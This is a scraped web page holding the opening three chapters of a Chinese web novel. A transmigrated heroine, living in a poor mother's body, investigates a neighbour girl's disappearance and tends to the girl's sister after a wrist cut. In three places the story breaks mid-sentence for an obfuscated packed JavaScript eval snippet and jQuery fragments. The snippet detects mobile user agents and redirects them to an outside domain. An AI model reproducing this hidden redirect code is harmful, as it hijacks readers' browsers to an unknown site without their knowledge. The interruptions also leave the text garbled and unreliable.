《改造人渣的方法(快穿)》 1. 凝固的时间(一) 【时间线检测中……检测异常,时间线无法回溯……】 【人物检测中……检测异常,人渣身份无法精确捕获,受害者身份无法精确捕获……】 【检测范围扩大中……检测精准度下降中……叮——捕获到“某人渣的亲友”身份。】 【系统模式修订中……】 【全新系统模式已开启。】 【很抱歉,在全新模式下,您无法更改过去的时间线,因此无法获取受害者身份。您只能以“某人渣的亲友”身份,找到这位人渣,才能触发悔意值系统。】 【倾听、教育、感化……您需要通过各种方式对人渣进行改造,收集到100点悔意值,则任务宣告成功,您可以选择脱离本世界。】 【本次任务一:找到真正的“人渣”。时限:3天。】 【本次任务二:收集到100点悔意值。时限:1个月。(触发条件:任务一完成)】 【现在,开启全新世界吧!我们的口号是——改造人渣,共建美好社会!】 …… …… 县城一隅,一条长长的石头路绵延一两公里。初秋的天有些凉,日头将将,早前又下了场雨,石缝中的泥泞便冒了出来——现在倒还不算什么,不过等一会儿六点钟孩子们蜂拥放学后,就会显而易见地脏乱起来。但即使是这样,这条路也已经算这片贫民区里最干净的地段了,毕竟两旁的平瓦房还勉强算整洁,偶尔还有户主在路边空地上种几株花草。倘若有人误入了其中分叉的几条小路,才怕会被那些拥挤连绵、真正破败不堪的小房子震惊到,迷失在纵横交织的腐烂的蜘蛛网中。 路的尽头,一进一出的两间瓦房有些年久失修。透过敞开的大门,依稀可见小院子里整整齐齐,一株半人高小树旁环绕着点花草,晾衣架上挂了几件衣裳。不时有“砰、砰”的声音从院子里传来,仿佛是什么异常的声音,但又很快消散在这片贫瘠的风里。 “砰——” 又一刀狠厉落下,刀刃反射着寒光,一块鸡腿就整齐砸到了菜板上。凌逍什么话也不说,就那么继续沉默剁着肉。 “祖宗——” 系统抖了半天,终于委委屈屈憋出一句话。 “您发哪门子火噢,又不是我修改的规则!” 凌逍终于停下手中的刀。煤气罐起火,凌逍将鸡肉精心焯水,然后开始切配菜——就在几分钟前,她一睁眼就发现自己站在灶台前。这具身子弱得很,好久没舍得沾荤腥了,今天才刚狠心剁了一只鸡,却是为了给上初中的儿子补身体。 肠胃开始嗡鸣,又累又虚,再不吃饭恐怕就要低血糖晕过去了。甭管任务不任务,至少这鸡肉不能浪费,其他的再说。 凌逍头也不抬道:“我干嘛和你这个小智障发火?拜托,用你不到10kb的脑容量想一想。难道你没发现修订的任务模式,有一堆bug吗?” “好,规则系统故障我理解,无法改变过去我理解,无法定位人渣我也理解。可是你仔细想下……为什么我的身份是【人渣亲友】?又或者说,为什么我进入了【这具身体】?” 系统认真思考:“呃,随机的?” 凌逍:“那为什么时限是一个月?” 系统:“嗨,大概是为了让任务者有紧迫感呗,不然还能是啥?” 凌逍:“……你可闭嘴吧。” 凌逍开始将鸡肉下锅煸炒,“刺啦”一声,一股白烟顺着锅边腾起,湮没了她的神情。 缭绕氤氲中,她开始冷笑起来,直笑得系统忍不住发毛。 “凌逍,哪里管那么多了,开始做任务吧?先利用你的亲友身份,找到人渣是谁,然后尽可能感化他,收集满100悔意值我们才能结束任务呀。” “你看,无论是以前帮助受害者逃离人渣,还是现在换一种身份改造人渣,我们不都是为了共建美好社会嘛,没什么区别——” 感化?改造?共建美好社会? 凌逍深以为然:“你说得对。” 系统:“嘿嘿,是吧是吧。” 凌逍:“没错,不管是谁,我得让他后悔才行。” 系统:“嗯嗯,让他后悔——等等?什么后悔??都说了,我们可不是暴力团伙!” “凌逍?祖宗?你,你想干什么?” 卧槽,她不会又要整什么幺蛾子吧?! 锅铲子上下飞舞,几乎要冒出火星子。 凌逍敲了敲锅边,随口道:“没什么——” 不就要是让‘他’后悔嘛。 那么,后悔伤害他人、后悔遇到我、又或者是干脆后悔来到这个世界上……怎么不算【后悔】呢? 什么?感化? 如果感化人渣就够了,那还要监狱干什么呢?! 理了一遍全新系统规则,凌逍心里那股烦劲儿也消了不少。这次主系统的模式修订,其中固然有不少令人奇怪的疑问,不过她现在并不打算和系统深入讨论这些。 她一边做饭,一边开始琢磨起这次的任务来。 目前【任务一:找到真正的人渣】已经开启,还设定了三天时限。如果这一步给错了答案,意味着整个任务都会直接宣告失败。所以她必须这三天内尽可能地收集一切信息、对身边每个人抱有一切怀疑… 然后,排除一切不合理的怀疑,剩下最后的那个人,就是她的任务对象,【人渣】。 可这一切都有一个前提——她得弄清【受害者】是谁,才能顺着线索确认人渣身份。 无法修订的时间线、无法捕获的受害者本人…… 这片看似贫穷而平静的县城小镇一隅,到底隐藏着怎样的罪恶呢? 忙活了小半小时,一桌子菜就很快上齐,三菜一汤,荤素搭配,色香味俱全。天凉,菜冷得快,系统刚要提醒这具身体的儿子还得一个多小时才放学回家,就见凌逍直接坐下撕了个鸡腿开啃,还不知道从哪摸了一瓶啤酒撬开,吨吨吨豪饮起来。 系统:“……注意点,你现在是当妈的人了啊喂。” “怎么,谁规定当妈的就不能自己吃喝玩乐了?这两者冲突吗?” 香溢的肉汁划入味蕾,久未体验过的美味让人胃口大振。时隔许久,羸弱的脾胃与四肢这才感到滋润的舒适感。 “嗝——这才叫活过来呢!” 这具身体叫王燕红,今年三十七岁,身体一直不算太好,最近的工作是每天凌晨四点去县城另一头早餐店打工,勉强糊口养孩子。年轻时候她嫁了一个老公叫李英,起初日子还算不错,老公原来在厂子里算个校领导,但下岗之后成天喝酒赌博没个正经工作,现在偶尔也去外地干零工,但压根不往家里寄钱,也极少着家。 幸好这里的时代大概是二十一世纪初,物价也没飞涨,倒是能勉强度日。 王燕红以前还跟他吵架甚至动手,现在也懒得管了,全部心思都放在上初二的儿子——十三岁的李耀成的身上。 听这名字,就知道全家人对这株独苗抱有多大期待。 而事实也的确如此。小时候的李耀成还因为过于孤僻让人头疼,现在虽然话也不多,对待父母也很少特别亲近,但总体还算是成绩优异、懂事听话的好孩子,是王燕红的全部殷切期盼所在。 总之,一家三口的过往没什么太过特殊的,虽然家家有本难念的经,但十几年来倒也算磕磕绊绊地熬过来了。 ……但,似乎哪里不太对劲儿的样子。 既然目前的身份是“某人渣的亲友”,那就说明,这人渣肯定是王燕红身边的人——至少是朋友。 不过说起来,到底怎样程度的亲疏远近才算“亲友”呢?三代以外的亲戚算不算亲戚?关系多好的朋友才算朋友? 系统:“别问我,我也不清楚这个定义啊!” 凌逍:“要你何用……算了,我先扩大范围,回忆回忆。” 除了她们一家三口——如果也将此刻在外打工、不知所踪的丈夫李英算在内的话,王燕红的社会关系其实比较简单。亲戚这方面,她爸妈走得早,县里倒是还有个亲姐姐。那姐姐嫁人之后生了个儿子,小表哥只比李耀成大了一岁。以前两家倒是经常见面的,小表哥还来家里玩,但后来有一次姐妹因为钱的事情大吵了起来,已经很多年不走动了。 至于工作上,早餐店是淳朴的两口子雇她干活,辛苦是辛苦了点,关系也很单纯,基本没什么矛盾。 朋友……嗯,结婚以后,王燕红压根儿就没什么朋友。 简而言之,这是一个平静的小镇,有着人间烟火的酸甜苦涩,但不过是普通的、日复一日的生活。哪里存在什么受害者、危害世界线的人渣? 凌逍慢慢陷入沉思,手中的筷子不知不觉停了下来。 她总觉得遗漏了什么地方。 天色逐渐暗淡了下来,云朵的阴影开始消散,灰暗与萧瑟并存,只有残存的一点夕阳挣扎,将落未落。 不知何时,一声极低的啜泣随着风声传入这间小院子。 凌逍一愣,待回过神来,又恍惚觉得只是一阵飘散的余音。 凌逍心念一动,立刻放下酒菜,跑去院子里探望了一下四周。她初来这个世界,还没怎么来得及探查环境。这时候,她才注意到这四方小院子采用的典型北方小镇平房风格,水泥与红砖砌成了一堵不高不矮的隔墙——显然,这堵墙是与邻居共用的,且已经不少年头了。 此刻,邻居院边那棵已经枯萎、却未铲掉的樱花树,正在风中簌簌作响,有几枝枯枝甚至随风折断,落入王燕红的院子里。 也落入凌逍的万千思绪中。 邻居……算不算【亲友】呢? 王燕红的个头不算高,瘦瘦小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14796605|158311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小的,平时也不和邻居那边来往。凌逍使劲儿踮起脚尖,才勉强将头探过围墙,悄悄向邻居的院子里窥探。 系统:“偷窥违法了啊。” 凌逍:“啧,邻里来往的事儿,哪里算偷呢。” 说罢,便自若向隔壁探头瞥了一眼。 然而就是这一眼,让凌逍瞳孔蓦然剧烈收缩起来。 她极少有这样大的情绪波动,以前自己附身到受害者时,也大多时候是先观而后动的。 但这次系统还未反应过来,就见凌逍瞬间强力爆发,也不顾这具身子的虚弱,“唰”地一个鹞子翻身,便单手翻墙而过。 系统:……哈?这鸡肉怕不是打了激素吧? 但下一秒,就连系统也忍不住噤声起来,沉默不语。 只见隔壁那更加破败萧条的院子,与王燕红的家有着鲜明的对比。院子无人打理,连杂草都已几近彻底枯萎,显露出一股蔓延许久的孤独。但这不是重点…… 重点是,院子里有一名姑娘。 她约莫十八九岁的样子,明明是芳华绽放的青春,可那憔悴过分的身形着实让人心生不忍。她的眼神已然失焦,眼角有一抹潮湿的痕迹,整个人正一动不动地蜷缩在墙角。 还有她垂落的左腕上,一道心惊胆战的痕迹。 鲜红的血液正滴滴答答地落下……并不多,却一点一点,滴溅到了凌逍的鞋子上。 触目惊心。 凌逍微微一顿,快速上前检查伤势。 幸而伤口并不深,也没伤及大动脉。看来女孩儿心中还有着活下去的执念,似乎下刀的瞬间,因为某个原因犹豫了。 凌逍:“先撑住……你听得见我说话吗?” 女孩儿睫毛微微颤抖。 凌逍:“小梅……程小梅,看得见我吗?” 程小梅没有回答。 她目光涣散。隐隐约约,她只见能到模糊的影子逐渐靠近。 明明天色已经暗淡起来,周遭一切事物都失去了光芒,却唯有这道影子,正正落入了夕阳最后一丝余晖中。 还顺风飘来了一股鸡腿儿的香气。 程小梅看不清对方的脸,对方的神情。 但有种莫名的熟悉感,让人想要心安理得地祈求这道身影—— 请帮帮我。 请救救我。 我后悔了。因为我必须得……继续活下去啊。 手腕被人轻柔地查探,很温暖。 过了接近半分钟,程小梅才晕乎乎地意识到来者何人,茫然又诧异。 “王……王阿姨?” 为什么隔壁的阿姨会在这里?! “嗯,是我。” 凌逍想了想,一下子将程小梅打横儿抱了起来。她起得略有点猛,还稍稍趔趄了一下。 程小梅:“!您放我下来吧。” 凌逍只是笑了起来:“走,问题不大,去我那儿处理下伤口,然后再吃个晚饭?你这也太轻了啊。” 程小梅脑袋眩晕发麻,下意识拒绝:“不了,您把我放下来就好。谢谢您,我……我觉得没事的。” 凌逍:“噢,不行。不要你觉得,我要我觉得。” 凌逍微笑着安抚程小梅,也不管她拒绝与否,稳稳当当地抱着她往自家院子走。时不时,还说几句话,试图让程小梅所有回应清醒。 但与此同时,她垂眸掩住自己的神情,若有所思地盯着走过的石板路。 沉沉日暮,转瞬最后一丝光影消失,她的脸终于彻底陷入黑暗。 轻微脚步回荡在石头路上又消失。 不知过了多久,也许只是这几步路的时间。突然,一道冰冷至极的心声回荡在系统的脑海中。 系统忍不住打了个哆嗦。 凌逍:“我想起了王燕红某个久远的记忆。” 系统:“什么记忆?” “嗯,你帮我找一下这份资料。还记得吗?去年春天,隔壁程家十二岁的小女儿失踪了。” 系统翻了下记录:“啊,好像是有这么回事。” 凌逍走回自己的房间,将怀里的女孩儿轻轻放下,熟练地处理起伤口。 与此同时,她平静地给出自己的结论。 “失踪者叫程小樱。也是我怀里这个女孩子的亲妹妹。” “程小樱……大概就是我们要找的——【受害者】。” 系统一惊。 宁静小镇中模糊的罪恶,就这样乍然浮现在眼前,它实在有些不解。还未来得及继续询问,它便听见凌逍继续开口。 凌逍的心声极低,极凉。 仿佛黑暗中慢慢袭来的影子,无声中蓄势待发的野兽,让系统几乎毛骨悚然起来。 “程小樱不是‘失踪’。” “而是——‘死亡’。” 她这样说道。 2. 凝固的时间(二) 在王燕红的记忆中,对隔壁人家的印象的确是有的,但心情比较复杂,说不上讨厌还是喜欢。 邻居的夫妻是勤勤恳恳的工人,养育了两个孩子。大女儿程小梅是他们的骄傲,也是小镇上的风云人物,从小就成绩优异、性格活泼不失沉静,懂事有礼,去年高考还考入了首都很有名的大学。 小女儿叫程小樱,年纪和自家儿子年岁差不多,长得像个糯米团子,家里人也疼爱,只是天生有点呆呆的、笨笨的,小时候只会跟在儿子后面喊着“哥哥”——当然,儿时青梅竹马一起玩不是问题,只是到了初中这么紧张的时候,一个成绩全校倒数的女孩儿还整天只会玩,那可就耽误事儿了。 王燕红自己心高气傲,总想着当年如果自己上了大学,也许就不必和现在的老公结婚、熬日子了。因此,她对儿子李耀成的学业抓得尤其紧,堪称望子成龙的典范。 在她眼里,程小樱是必须要断绝来往的差生,程小梅倒是个不错孩子,可以讨教下学习问题,只是……自尊心让她拉不下脸面,再加上一点说不上的微妙嫉妒,邻居的关系这两年也自然极其淡薄了。 直到去年夏天,一起失踪案,突然轰动了半个县城。 “你看看,隔壁小女儿自己下课跑出去玩,失踪了吧!两口子辞了工作全国各地找人,估摸是被拐子拐走了!” 王燕红作为邻居,惋惜惊讶倒是有的,还象征性帮邻居找了两天孩子。但更多的自然是将这事当成了闲话谈资,甚至还带着一点点幸灾乐祸,苦口婆心地把这事儿当反面例子,教育自家儿子。 “倒是程小梅,啧啧,明明考上了首都大学,竟然为了找妹妹,连考上的大学都不去了!脑子里想什么呢!” “耀成,你可不能向她们一样,考个最好的大学,妈妈这辈子才算有指望啊!” 李耀成一一应答,孩子到了初二青春叛逆期,反而眼见着成绩越来越好,越来越懂事。王燕红也愈发有盼头,一门心思铺在孩子教育上。 再加上邻居几口人整天整天不在家,渐渐地,这件失踪案就淹没在了县城日复一日的生活中。 极少有人主动想起。 就仿佛这片土地宁静的生活,从未被打破过。 …… 系统很快翻出去年的这件事,记录上显示的内容,和王燕红的记忆基本一致。不过它实在想不通为什么凌逍突然提到这件事,更想不通为什么凌逍认为,程小樱就是【受害者】。 而且,并非失踪,而是死亡。 换句话说——凌逍认为,程小樱被人杀害了! 等等,那么犯人就是王燕红这具身体的某个【亲友】,也就是他们任务一要确认的【人渣】! 系统:啊?!! 它开始忍不住狂哆嗦起来,颤巍巍问:“你说,有人杀害了年仅十二岁的程小樱?而且这个人是你的亲友?” 凌逍:“嗯,没错。” 系统:“可为什么她才是受害者啊?” 凌逍:“我已经翻遍了王燕红的所有记忆。排除一切不可能,剩下的唯一可能就是答案。” 系统:“但、但是,按照我们以前的经验,醉酒家暴赌博的老公李英,这玩意儿不是妥妥的人渣?我们可以直接锁定李英呀。” “哇,你盼着我们任务直接判定失败吗?”凌逍对于系统的智商抱有一贯宽容,提醒道:“那受害者是谁?难道是我吗?” “拜托,想想全新的规则说明。” 系统:规则……对噢。 全新规则模式下,受害者身份无法精确捕捉,无法附身。 这即意味着,既然凌逍此刻是“王燕红”的身份,那就直接排除了这个答案。 凌逍仍觉得疑点重重:“当然,这不代表我们排除了李英的嫌疑,他现在人在外地,我很难直接断定李英到底做过什么,与我们的任务是否有关。但出发点是王燕红、还是程小樱,这完全不一样。如果最初的调查出了差错,即便答案正确了,也是南辕北辙。” 还“调查”呢……凌逍她向来喜欢自己搞一些危险的幺蛾子,谁知道这次指不定有什么小心思。 系统心里边儿暗自吐槽,突然又想起个问题。 “为什么说程小樱已经死亡了?” 凌逍沉默了一瞬,却并未回答。 系统等了又等,但凌逍一副明显不想过多讨论这个问题的模样。 系统正纳闷,却发现她就这样静静坐在床边,掌中不知何时多出了一只小铃铛。 有点儿眼熟,可就是想不起哪里见过。 那只铜质铃铛小巧古朴,上面刻着繁复的花纹,像是某种悠久的符咒。不知何时,老旧窗户漏出一丝缝隙,一道凉风穿堂而过。可是这只小铃铛却纹丝未动,一丁点儿声响也没发出。 仿佛唯独它,单单陷入了停滞的时间中。 凌逍摩挲着这只小铃铛,一言不发,陷入深思。直到系统再三询问,她才掌心一翻,那铃铛不知怎的便突然消失了。 “无法回溯的时间线啊……” 凌逍目光悠长望向虚空,喃喃道,“程小樱,你希望我做些什么,它才会再度响起呢?” 系统:“你刚刚说什么?” 凌逍:“不,没什么。” 碘伏消毒、急救止血、纱布包扎,一整套行云流水的急救措施下来,程小梅的脸色已经好了很多,青白的唇上逐渐浮现血色,估计过一会儿就能清醒过来。 系统:“她的伤口也不深,怎么就晕过去了?” 凌逍:“她只是太累了。” 一个十八九岁的姑娘,放弃了大学,投入寻找妹妹的生活中,然后在日复一日中越来越绝望。 怕是已经身心俱疲了吧。 凌逍轻轻为她盖上毯子,但是在收集更多线索前,她仍保持着对每个人平等的怀疑——这其中,包括程小梅,包括其他所有人,甚至包括王燕红自己。 或者说,难道王燕红所见的、所听的,就一定是真实的吗? 凌逍想了想,起身离开。 “她暂时没什么事儿了。趁着李耀成还没放学,我们先从这个院子查起。”她对系统说。 这个院子的格局很简单,在半个小时刚刚附身时,凌逍就已经大概看过了。院子本身位于贫民区石头路的尽头,算是比较干净的地段,后面都是杂乱的小巷通道、破烂或废弃的民居,虽然直线距离很近,不过并不直接相连,要绕到另一头岔路再拐进去,倒也不影响。 至于院子本身,一进一出,坐北朝南,前后两间水泥瓦房,中间隔着一个约莫二十平米的小院。花花草草并不名贵,还有一株不知名的矮矮的树苗,却是李耀成这孩子亲手种的,王燕红平时也会打理照顾。再就是堆放了一些杂物用品,还有个小小的存煤窑,用来冬天烧炉子用,乍一看也没什么特殊的。 而此刻她们所在的地方是前屋, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14796606|158311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是正对着外面石头路的屋子,也是程小梅正躺着的地方。这是王燕红和李英夫妻住的地方,后屋才是客厅兼厨房兼李耀成的卧室。 待有时间打量环境,系统才皱眉感叹:“嚯,这哪是两口子,简直是仇人强行搭伙过日子哟。” 刚才还没注意。前屋隔了两间,都有居住痕迹,看来王燕红和李英早就分开睡了。里面李英那间屋子臭烘烘的,堆满了酒瓶子,整个一脏乱差。人这次已经离开家半个月了,但酒臭味还未消散,显然王燕红从来没想着帮他收拾。 此刻王燕红的这间屋子就更搞笑了。程小梅正躺着的床头,结婚照上干脆把李英的脸给扣下来了,恐怖中带着一丝滑稽,明显是泄愤用的。自己的东西很少,衣服也没几件,空荡荡的家具与布置,基本只有一张床。但墙上倒是挂满了儿子的照片和奖状,还有几张母子合照。 属于典型的舍不得给自己投入,全身心投入孩子的那种家长。 系统见凌逍沉吟片刻,便上前拿起那几张母子合照,仔细端详。 “凌逍,照片有什么问题吗?” 凌逍摇头。 三张合照的确看过去很普通。第一张大概是七八年前的老照片,王燕红看起来很年轻快乐,衣物也是整洁打扮过的,旁边的李耀成看起来五六岁,是个很沉稳又不失可爱的男孩儿,眼神明亮,微笑一手拉着王燕红的手,另一手似乎也在紧紧拽着什么人,不过这张照片并没有拍上。 第二张就来到了小学时候,李耀成长高了,面容沉静,正捧着全国竞赛的奖状。王燕红满脸自豪,只是已经掩不住满面疲惫倦容,穿的还是几年前的旧衣服。 第三张就是去年的照片了。青春期的男孩儿比王燕红还高了点,模样长开后足以让父母炫耀。他显得很安静,瞳孔漆黑蒙上了一点雾,仅唇角勾勒出一丝细微弧度。两个人在初一期末成绩榜单前合影,李耀成的名字高居前列。 确实没什么异常。 凌逍本想放回原位,但突然,一道思绪蓦地划过脑海。 她不禁拿起来再度端详,定定凝视着照片。 过了一会儿,凌逍突然笑出了声。 “有点意思。” 她摸了摸下巴,似乎发现了什么很不同寻常的事情。系统还来不及问,就看她大步流星地径直走向后屋。 系统:“你发现什么了?祖宗,倒是和我透露透露啊!” 这人就喜欢故弄玄虚! 后屋一小间是厨房和烧灶炉子,刚刚凌逍在这里三两下就做出晚饭——呃,自己的晚饭兼儿子的残羹剩饭。再往里,一个木板和帘子挡住的小空间才是李耀成的卧室。 凌逍显然没有任何隐私意识,毫不犹豫地掀起帘子。 她慢下步伐,在小小的房间内四处打量了许久。路过书桌,还时不时拿起书本仔细翻阅。 她在这里呆着,时间流逝也并不在意。 “哈,看来我得换种说法。” 过了一会儿,凌逍玩味地笑了起来。 她一字一句纠正道。 “不是有点意思,而是——非常有意思。 就在此时,院子外大门传来有节奏的脚步。 吱哟……伴随着一丝老旧门轴声,一道少年声音传来,穿过院堂,来到这间逼仄的小屋中。 清亮,平静,同时隐隐多了一丝细微的诧异。 门帘被慢慢掀起。 “妈——?” 3. 凝固的时间(三) 李耀成的屋子很小,只是后屋隔出来的里屋,约莫七八个平米。不过这已经算这间小院最好的位置之一的——毕竟前屋正对着马路,一到晚上放学后就吵闹得很,影响学习;后屋背靠着小巷子少有人烟,正好清净,且连着厨房的炉子,暖和。 王燕红没给李耀成的房间装门,只是隔了一道不薄不厚的帘子。按她的话来说,“当儿子的难道和妈还有隐私吗?”再加上她必须时刻关注儿子的需求,没事就进来看看作业情况、送送水果,所以李耀成小时候提过一次,就再也没提过装门的事情了。 每次王燕红突然掀帘子进来,都会看到儿子在静静读书写作业。虽然总是和爸妈显得有点生疏、孤僻、很少说话……但十三岁还成绩好、懂事的孩子,还让当妈的有什么不满足呢? 凌逍放下照片后,在这间小小的屋子里打量很久。 屋子采光比较一般,由于是隔出来的里屋,本身并没有窗户,不过靠近后巷的墙上开了一扇高高的小窗——说是窗户,更像是通风的小口,上面还有几根栏杆。此时天色已沉,隐约可仰望出外面洒落进来的一点月光。 通常来说,男孩子的房屋多少有些乱七八糟,如果是这样小的地方,搞不好就会臭烘烘。但这里却整洁到了不可思议的程度。 一张床,一张书桌,一个小小的衣柜基本就是全部,奖状都在王燕红的房间里。床上整整齐齐叠着豆腐块,衣柜里或挂起或叠起,连褶皱都很少。 至于那书桌就更叹为观止了。上方贴了一张巨大的世界地图,有时常抚摸的痕迹。而桌面上除了大量的课本、练习册,还摆满了许许多多的著作,大多是经典的文学名著,每一本书都严丝合缝地摆放着。 反正是家长们见了都说好的那种房间。 系统咋舌:“成绩也好,生活习惯也好,这是草窝飞出金凤凰的节奏啊。” 凌逍没回应系统的感慨。她若有所思,目光落在那些名著上。 显然,这些书并不只是装饰品,干净爱惜的同时有着明显阅读痕迹。 她翻了有一阵儿,然后手一伸,再度抽出其中一本书。 这大概是唯一一本包着书皮却纸张都几乎泛黄、卷起边的书,显然主人宠幸它的次数尤其的多。上面零星写了一些阅读心得,字迹秀丽整洁,规规矩矩。 这是一本爱伦坡的短篇小说集。 青春期的男生,喜欢爱伦坡小说的并不多。这位诗人、小说家、批评家集一体的浪漫主义全才,文风具有独树一帜的暗黑美学,再加上他本人精神压抑、困苦疾病缠身的戏剧性一生,对于十三岁的男孩子来说实在是有点超纲了。 但显然李耀成很喜欢,不,是非常喜欢。尤其是第二篇的《厄舍府的崩塌》,上面评语尤其的多,泛黄的边缘已经粗糙,明显反复阅读许多次。 系统:“小家伙还挺有文学素养,有点品味。” 凌逍:“噢,你还知道这个短篇?” 系统:“……看不起谁呢!” 于是系统开始叭叭内容梗概,虽然凌逍并不需要,不过随它去了。 《厄舍府的崩塌》是个短篇,算是恐怖小说的开山之作。爱伦坡将精神具像化融入小说的表现,以第一人称和第三视角的切换角度,讲述了男主罗德里克精神不断崩溃的过程,最后伴随着已被埋葬在棺材中的同胞姐妹玛德琳的雨夜复活,他的精神世界与厄舍府最后一同坍塌了。 “门外站着厄舍府高个子的玛德琳小姐。她的身上裹着寿衣,那白色的袍子上,溅满血迹;瘦弱不堪的身体上到处是苦苦挣扎的痕迹……这死前猛烈而痛苦的一击,把她哥哥扑倒在地,成为一具死尸。” “他被吓死了。这倒在他的预料之中。” 清秀的笔迹在这段原文之后整齐写了这样的评语:“复活的不是玛德琳,而是罗德里克的恐惧。” 凌逍不由挑眉,继续看下去。 后面就是描写坍塌的场景了。在“我看到坚固的高墙崩裂为碎片”后,评语又加了一句,笔墨的颜色与之前不同,大概是时隔一段时间第二遍阅读的再度感想。 “厄舍府真的崩塌了吗?” 黑色中性笔将这句话重重划掉,复而增加,字迹如常中规中矩,言简意赅。 “不……它已埋藏于地下,并将永存。” 凌逍将书合上,逐渐陷入了沉思。 许久之后,她“哈”的笑了起来,慢慢笑道:“看来我得换种说法。” “不是有点意思,而是——非常有意思。” 系统小声问:“怎么了,哪里不对劲?” 凌逍不答反问:“你知道玛德琳小姐的身份吗?” 系统有点尴尬:“主人公的妹妹呀。她死后,经常在城堡里发出声音,于是主人公就疯了。” 凌逍不置可否,没再吭声。 她已经探查了有一会儿,须得回去看看程小梅的情况。就在这时,便听见嗒嗒一阵脚步声,规律而沉稳,穿过院子传到这里。 “妈——?” 门帘被掀起,正对略带诧异的眼神。 凌逍也微不可见地打量起这个便宜儿子。 少年一米六几的个头,校服旧却干净,明明灰扑扑的颜色,反而显得整个人更白皙清秀。他还没怎么开始长胡子,不过声音已经开始有点变化了,喉结微微凸起,这是进入青春期的表现。 他没什么大的表情,安安静静的,如字迹一样整洁规矩。只是抬眸看向自己时,那纯黑瞳孔微微蒙了一层雾,让人看不清其中的情绪。 凌逍:“放学了?” 李耀成:“嗯。” 凌逍:“我来随便瞅瞅,别说,房间拾掇得挺干净。” 李耀成:“嗯。” 凌逍:“你喜欢爱伦坡?”她扬了扬手中的书,“觉得怎么样?” 李耀成顿了顿,答:“文笔很好,语文老师也推荐。” “你们语文老师是不错,喜欢看书也是好事,不过书里可不一定都是对的。”凌逍点头,微笑起来,随意将书扔到桌子上,“自己收拾下。” “对了,”她笑得温柔,可是口中的话丝毫不留情,“吃了没?反正我吃了,你自己去吃点剩饭吧,我还有事。” 儿子平时和王燕红沟通不多,不过王燕红很满意——沟通?有那时间还不如让儿子多学习呢。反正她的每天就是围绕李耀成打转,渴了饿了,困了累了,都优先孩子。孩子话不多,不主动提,她就一切需求做到位。 李耀成走到厨房,看见那桌子上三菜一汤已经凉透了,饭菜的确吃了一半,还剩了个啤酒瓶子,显然凌逍的“剩饭”所言不假。 有点反常。 他顿了顿,又看了凌逍一眼,这才不言不语地坐下来,板板正正地吃饭,绝口不提热菜的事情。凌逍似笑非笑睨了他一眼,转身就走。 “妈,你去哪?”李耀成少见地主动开口说话了。 凌逍:“你隔壁的小梅姐晕倒了,我正好发现,就把她带回来了。” 筷子一顿,李耀成的手也随之一停。 紧接着,他眉头微蹙道:“妈,你怎么还和小梅姐扯到一起了呢。” 凌逍耸耸肩:“邻里邻居的照顾下,怎么,你对她有意见?多好的姑娘啊,品性好,又可怜。” 李耀成只是摇头。 “妹妹失踪了,她连大学都不去上,真是不懂轻重缓急。妈,这不还是你跟我说的原话吗,还让我少和他家来往?” 这是王燕红去年夏天的原话,此刻被李耀成一个字不差地搬了出来。 凌逍盯了他一会儿,突然哈哈大笑起来。 李耀成一愣,凌逍却笑完了随手拍了拍他的脑袋。 “咋,自己没点反思能力,我说什么就是什么?” 她盯着儿子蒙着雾的双眸。声音明明是含笑的,却听不出任何情绪:“难道我让你杀人放火,你就去杀人放火吗?” 李耀成一怔:“妈!!” 他似乎被有点气到了,歪着头,充满了疑惑不解。他没再说什么,只是表情处处说着“妈你今天是不是吃错药了”,甚至带了点委屈。 凌逍适可而止,只是又手欠赏了他脑瓜子一个爆栗。 “我去照顾你小梅姐了,吃完记得自己刷碗,我今天不想干活。” 李耀成沉默起来。许久之后,他打量了凌逍几眼,才反问:“妈,你今天身体不舒服?” 凌逍:“没啊。” “那怎么……” “怎么?”凌逍理直气壮,“今天突然更年期了,有意见吗?” 想了想,复又补充道:“对了,不仅是今天,明天、后天、大后天我都不想做饭,不想干活。喏,给你点钱,以后晚上自己吃完再回来吧!” 说罢,一溜烟地跑到前屋,徒留李耀成一动不动坐在饭桌前。 系统被凌逍这一通操作惊呆了,幽幽问道:“祖宗,您这是吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14796607|158311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 错药了?” 凌逍不以为然:“我更年期啊。” 系统:“你不想给李耀成当妈了?” 凌逍:“我更年期啊。” 系统:“……你不怕被人感觉你奇怪?OOC?” 凌逍:“别问,问就是三十多岁,提前更年期!” 系统知道这祖宗不是无的放矢之人,心里肯定有自己的打算,只得闭嘴,反正能完成任务就行,又没规定说不能OOC。 只是……凌逍这样表现出与王燕红不同的性格,又是试探李耀成,又是特意给钱让他在外吃晚饭,只是单纯地不想干活吗? 关于程小樱的死……她到底在怀疑着什么?想调查出什么? 